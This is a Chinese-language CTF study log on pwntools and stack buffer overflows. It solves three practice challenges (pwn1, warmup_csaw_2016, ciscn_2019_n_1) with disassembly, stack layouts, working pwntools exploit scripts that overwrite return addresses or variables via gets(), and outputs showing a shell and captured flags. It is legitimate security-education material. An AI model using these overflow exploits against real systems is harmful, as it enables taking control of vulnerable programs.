PWN 學習日誌(1): pwntools簡單使用與棧溢位實踐
常用的模組
模組 | 功能 |
---|---|
asm | 彙編與反彙編 |
dynelf | 遠端符號洩漏 |
elf | 對elf檔案進行操作 |
memleak | 用於記憶體洩漏 |
shellcraft | shellcode生成器 |
gdb | 配合gdb除錯 |
utils | 一些實用的小功能 |
結合CTF例題
題目1
下載附件pwn1,使用checksec檢查保護
$ checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
沒有開啟保護機制
終端輸入objdump -d -M intel pwn1,反彙編後檢視main函式
0000000000401142 <main>: 401142: 55 push rbp 401143: 48 89 e5 mov rbp,rsp 401146: 48 83 ec 10 sub rsp,0x10 40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4> 401151: e8 da fe ff ff call 401030 <puts@plt> 401156: 48 8d 45 f1 lea rax,[rbp-0xf] 40115a: 48 89 c7 mov rdi,rax 40115d: b8 00 00 00 00 mov eax,0x0 401162: e8 e9 fe ff ff call 401050 <gets@plt> 401167: 48 8d 45 f1 lea rax,[rbp-0xf] 40116b: 48 89 c7 mov rdi,rax 40116e: e8 bd fe ff ff call 401030 <puts@plt> 401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11> 40117a: e8 b1 fe ff ff call 401030 <puts@plt> 40117f: b8 00 00 00 00 mov eax,0x0 401184: c9 leave 401185: c3 ret
這段程式碼的開頭是形成棧幀,sub rsp,0x10
是在棧中開闢了一段陣列,這個大小是15(0x10-1),call puts
是呼叫puts函式,列印了一段字串。rdi暫存器中存放的是gets的引數,即剛開的陣列的首地址。gets向這個緩衝區陣列讀入資料但沒有長度的限制,於是構成了緩衝區溢位。
IDA 反彙編結果
int __cdecl main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+1h] [rbp-Fh] BYREF puts("please input"); gets(s); puts(s); puts("ok,bye!!!"); return 0; }
檢視陣列s在棧中的位置,因為關閉了ASLR,所以棧的地址是固定的。
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?) //
+0000000000000008 r db 8 dup(?) // 這裡是main函式返回地址
+0000000000000010
+0000000000000010 ; end of stack variables
與此同時,程式中提供了一個fun函式,可以藉助它來開啟一個互動shell
// 0x401186
int fun()
{
return system("/bin/sh");
}
利用gets函式讀入輸入,用一段垃圾資料覆蓋到返回地址前,最後將fun函式的首地址覆蓋到main的返回地址,即可修改程式的執行流,轉移到fun函式程式碼段執行。
在本地嘗試
from pwn import *
context(os="Linux", arch="amd64")
p = process("./pwn1") # 執行程式,開啟程序
p.recvuntil("please input") # 接收字串,直到"please input"
fun_addr = 0x0000000000401186 # fun函式的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾資料+函式地址
p.sendline(shellcode) # 傳送
p.interactive() # 互動
本地成功拿到了shell
$ python demo.py
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py pwn1 pwn1.id1 pwn1.nam
peda-session-pwn1.txt pwn1.id0 pwn1.id2 pwn1.til
題目2
下載附件 BUUCTF
$ checksec warmup_csaw_2016
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
使用IDA反彙編main函式
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
函式的開頭開闢了兩個陣列,sprintf的作用是格式化字串,下一行輸出列印該字串。檢視該地址處的程式碼:
int sub_40060D()
{
return system("cat flag.txt");
}
可以看到是執行了一個命令,檢視flag的檔案內容。
main函式末尾存在一個gets函式,沒有對讀入長度作限制,因此可利用緩衝區溢位漏洞。
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
如上是棧的分佈,計算要使用(0x08+0x40)個位元組的垃圾資料覆蓋到返回地址,最後將sub_40060D覆蓋到返回地址
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 遠端連線
p.recvuntil(">")
fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()
執行程式碼
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}
拿到flag
題目3
下載附件 BUUCTF
$ checksec ciscn_2019_n_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
無保護機制
使用IDA 反彙編main函式
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
進入func函式
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
根據程式邏輯,若v2為11.28125則拿到flag
那麼可以通過gets函式的緩衝區溢位來修改v2的值
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )位元組的資料覆蓋到v2地址之前,將v2地址處的資料覆蓋為11.28125即可,根據IEEE754規範,11.28125的16進位制的形式為0x41348000
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")
# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()
執行後拿到flag
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode
flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6
總結
process函式可以開啟一個本地的程序並且與其互動,引數是檔名。
send系列的函式可以傳送字元,sendline會在末尾加上換行。
interactive() : 在取得shell之後使用,直接進行互動,相當於回到shell的模式。
recv(numb=位元組大小, timeout=default) : 接收指定位元組數。
recvall() : 一直接收直到達到檔案EOF。
recvline(keepends=True) : 接收一行,keepends為是否保留行尾的\n。
recvuntil(delims, drop=False) : 一直讀到delims的pattern出現為止。
recvrepeat(timeout=default) : 持續接受直到EOF或timeout。
簡單的棧溢位題目中通常會有如gets這樣的危險函式,對輸入內容長度不加限制,從而導致溢位